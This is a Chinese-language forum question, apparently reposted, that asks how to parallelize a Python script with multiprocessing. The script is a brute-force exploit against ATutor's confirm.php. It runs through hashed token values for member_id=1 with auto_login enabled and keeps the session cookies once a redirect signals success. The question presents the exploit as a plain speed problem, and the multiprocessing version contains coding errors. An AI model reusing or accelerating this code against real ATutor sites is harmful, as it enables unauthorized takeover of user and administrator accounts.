我有一个方法可以遍历大量值并为每个值发送一个requests
调用。这可以正常工作,但是需要很长时间。我想使用multiprocessing
中的Python3
来加快速度。
我的问题是使用多处理程序来实现此目的的正确方法是什么,以便我加快这些程序的速度?
现有方法如下:
def change_password(id,prefix_length):
count = 0
# e = None
# m = 0
for word in map(''.join,itertools.product(string.ascii_lowercase,repeat=int(prefix_length))):
# code = f'{word}{id}'
h = hash_string(word)[0:10]
url = f'http://atutor/ATutor/confirm.php?id=1&m={h}&member_id=1&auto_login=1'
print(f"Issuing reset request with: {h}")
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
s = requests.Session()
res = s.get(url,proxies=proxies,headers={"Accept": "*/*"})
if res.status_code == 302:
return True,s.cookies,count
else:
count += 1
return False,None,count
我已尝试根据Python3文档here中的第一个示例进行转换,但是在启动脚本时它似乎挂起了。毫无疑问,我执行错了
def send_request(word):
# code = f'{word}{id}'
h = hash_string(word)[0:10]
url = f'http://atutor/ATutor/confirm.php?id=1&m={h}&member_id=1&auto_login=1'
print(f"Issuing reset request with: {h}")
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
s = requests.Session()
res = s.get(url,headers={"Accept": "*/*"})
if res.status_code == 302:
return True,word
else:
return False
正从原始方法的修改版本中调用它,如下所示:
def change_password(id,prefix_length):
count = 0
# e = None
# m = 0
words = map(''.join,repeat=int(prefix_length)))
with Pool(10) as pool:
results,word = pool.map(send_request,words)
if results:
return True,word
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。